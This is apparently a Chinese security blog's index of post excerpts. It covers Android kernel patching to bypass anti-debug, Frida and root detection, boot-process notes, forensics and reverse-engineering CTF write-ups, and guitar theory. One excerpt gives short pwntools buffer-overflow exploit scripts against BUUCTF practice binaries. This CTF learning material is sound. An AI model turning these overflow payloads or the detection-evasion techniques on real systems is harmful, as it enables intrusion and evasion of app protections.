Android Kernel Patch
Android Kernel PatchAndroid逆向中,我们分析app时常常遇到如下问题:
APP获取了哪些设备信息
APP怎么检测调试器
APP怎么检测Frida
APP怎么检测root环境
同时在检测到该行为,并定位到具体代码位置后,我们如何去修改设备信息、隐藏调试器、隐藏Frida又是一个问题。
比如传统方法检测调试器是检查 /proc/pid/status 文件,调试器附加进程后,TracerPid字段的值是调试器的 PID ,要想绕过该反调试,需要解决如下问题:
如何定位代码
如何修改绕过,修改里面的 PID
定位代码可以依靠逆向工程或者Frida hook等,但是遇到混淆、SVC等会遇到问题,且针对性不强,不够通用,如果用 frida hook libc的函数,遇到 syscall 时就无法使用了。
因此,解决问题的关键是如何定位系统调用位置并修改系统调用逻辑。
Android Linux Kernel 定制这就涉及到 Android Linux Kernel 定制方案,具体如下:
监测
修改
动态加载/卸载
需要内核源码/头文件/重新编译内核
开发 ...
Linux kernel 启动流程
Linux kernel 启动流程前置知识MBR 分区和GPT 分区MBR (Master Boot Record)分区MBR指的是指定开机指定启动硬盘的第一个扇区,通常为512字节,为什么说分区方法也叫MBR呢,因为这个扇区包括了两部分内容: bootstrap code area和partition table
bootstrap code area占据446个字节,包含了启动相关的代码
partition table分区表占据了64个字节,包含了四个分区表的内容,每个分区表占据16个字节,MBR每个分区表占据16个字节,比如: 80 01 01 00 0B FE BF FC 3F 00 00 00 7E 86 BB 00
| 字节内容 | 长度 | 含义 |
| --- | --- | --- |
| **`80`** | 1 字节 | 分区状态:`00` 非活动分区,`80` 活动分区 |
| **`01 01 00`** | 3 字节 | 表示分区起始的 `C/H/S`(但不指C=1, H=1, S=0) |
| **`0B`** | 1 字节 | 文件系统标志位:& ...
安卓逆向初探
声明萌新初学安卓,主要是跟着吾爱破解正己老师的视频学的,仅作学习记录,源地址 《安卓逆向这档事》一、模拟器环境搭建 - 吾爱破解 - 52pojie.cn
环境配置整一个redmi老年机,解bl锁,线刷android11,上magisk面具,安装 zygisk+LSPosed 框架即可。可以创建一个LSPosed寄生管理器快捷方式。
由于我的测试机是 redmi9A,非常罕见的处理器是 v8a,但是系统是 32 位的,没有 arm64 的动态链接库,所以刷机配环境这一块折腾了很久,浅浅记录一下:
刷系统我们先从 小米 ROM 找到对应机型的线刷包,然后使用 miFlash 进行刷机,当然刷官方提供的系统有一万种方法,刷进去就行,当作底包,也是一个从砖机恢复的手段。
这个网盘里有一些 redmi 9A 的工具,Redmi 9A官方版下载,我们可以从里面找到安卓驱动,miFlashPro,搞机助手等工具,以及非官方的自制 LineageOS系统和自制 TWRP recovery.img。
在刷入官方提供的 ROM 以后,其实大部分机型到这里就可以了,但是因为我这个是 32 位的,得接着刷e ...
计算机启动流程
计算机启动流程主要流程
电源通电并供电
用户按下电源按钮,会发送一个PWRSW#(Power Switch)信号给嵌入式控制器(Embedded Controller EC)
EC通知电源管理电路(Power Management Circuit,PMU)启动电源
PMU发出启动信号激活电源供应单元(Power Supply Unit,PSU)
PSU收到信号后,转化交流电为直流电,同时PSU内部的电压监控电路会检测PSU的输出电压,当所有输出电压稳定在正常值时,触发“电源正常”(POWERGOOD#或者PWROK#)的信号
PSU向计算机各个部分供电,顺序依次是CPU,内存,南桥和北桥,扩展卡和外围设备,存储设备
嵌入式控制器启动CPU
EC收到“电源正常“信号后,会通知主板上的芯片组,发送名为PM_PWRBTN#的信号,开始计算机的启动过程。
南桥和北桥相互通信,确保电源管理的正常进行。南桥向北桥发送PLT_RST#信号,同时向CPU发送PWRGOOD#信号。
北桥向CPU发送CPU_RST#信号(电平信号),通知CPU开始工作。此时,计算机的启动过程正式开始 ...
蓝帽杯(取证杯)2022半决赛WP
EXE 取证1-5嫌疑人手机微信聊天记录 dump 出压缩包和密码,放在微步在线沙箱中五个一把梭子。
APK取证jadx-gui工具。
1APK signature 直接可以看到。
2base64 decode aHR0cHM6Ly9hbnNqay5lY3hlaW8ueHl6
4Manifest.xml1<meta-data android:name="DCLOUD_STREAMAPP_CHANNEL" android:value="exec.azj.kny.d.c|__W2A__nansjy.com.cn|127356250608|"/>
5
感觉这个也算安全检测,选了是
7assets/html 下有三个页面
8解压缩以后找到Info.plist这个文件
12<key>CFBundleIdentifier</key><string>com.dd666.hongxin</string>
包名就是com.dd666.hongxin
912<key>APIKey</key ...
蓝帽杯(电子取证杯)2022赛题复现
当时比赛的时候只做了程序分析,还得是mmr大爹和se大爹最后AK了电子取证还出了个pwn+web直接起飞了。
逆向只有一道题,纯坐牢呜呜呜。:<
LOADER64bit程序,无壳,IDApro打开以后主函数只有几行
12345678int __cdecl main(int argc, const char **argv, const char **envp){ DWORD flOldProtect; // [rsp+30h] [rbp+8h] BYREF VirtualProtect(&unk_7FF6741C3040, 0x34166ui64, 0x40u, &flOldProtect); sub_7FF6741C1040(&unk_7FF6741C3040); return 0;}
查询MSDN可知,VirtualProtect函数的作用是修改任何进程的访问保护,语法为
123456BOOL VirtualProtect( [in] LPVOID lpAddress, // 要更改其访问保护属性的页面的区域的起始页的地址 ...
强网杯2022 部分赛题复现
GameMasterC#逆向,用dnspy打开.exe文件,找到入口点main函数
1234567891011121314151617181920private static void Main(string[] args){ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true"); FileStream fileStream = File.OpenRead("gamemessage"); int num = (int)fileStream.Length; Program.memory = new byte[num]; fileStream.Position = 0L; fileStream.Read(Program.memory, 0, num); Console.Title = "♠ Black ...
Guitar-乐理基础学习笔记
国际标准音
频率
音名
位置
880hz
a2
一弦17品
440hz(调音器430-445)
a1
一弦5品
220hz
a
三弦2品
110hz
A
五弦空弦
十二平均律
对应吉他十二个品格,相邻一个为半音,两格为一个全音。
C大调:全全半全全全半, 1 2 3 4 5 6 7 1
C小调:全半全全半全全, 1 2 3b 4 5 6b 7b 1
A自然大调:全全半全全全半,6 7 1 2 3 4 5 6
A自然小调:全全半全全全半,6 7 1# 2 3 4# 5# 6
C大调和A小调是关系大小调(相隔关系是一样的),C大调和C小调是同名大小调。
音名C大调唱名相对应
CDEFGAB,对应123456,(Do,Re,Mi,Fa,Sol,La,Ti,Do)
音程基本概念音程就是两个音之间的距离(也可以是自己与自己,就是一度),1 - 2是二度音
分类一般分极为和谐,和谐,不和谐,极不和谐。
音程的计算需要时间熟练
大三度两个全音组成
小三度一个全音一个半音组成
和弦三和弦三和弦顾名思义就是由三个音构成的关系,分为根音,三音,五音。
大三和弦:大三度 ...
一天一百道buupwn
rip1234567from pwn import *r = process("./pwn1")# r = remote("node5.buuoj.cn", 29920)offset = 0xF + 8payload = offset * b'A' + p64(0x00401186)r.sendline(payload)r.interactive()
warmup_csaw_20161234567from pwn import *# r = process("./warmup_csaw_2016")r = remote("node5.buuoj.cn", 27538)offset = 0x40 + 8payload = offset * b'A' + p64(0x00400611)r.sendline(payload)r.interactive()
ciscn_2019_n_11234567from pwn import *# r = process("./ ...
旧博客传送机
本来有挺多东西想搬的,但是由于贴图实在是太麻烦了放弃了博客搬家的计划😅,放个旧博客传送机
updated on 2022.11.5: 配好插件以后发现可以直接从网上dump图片,我直接进行一个家的搬😋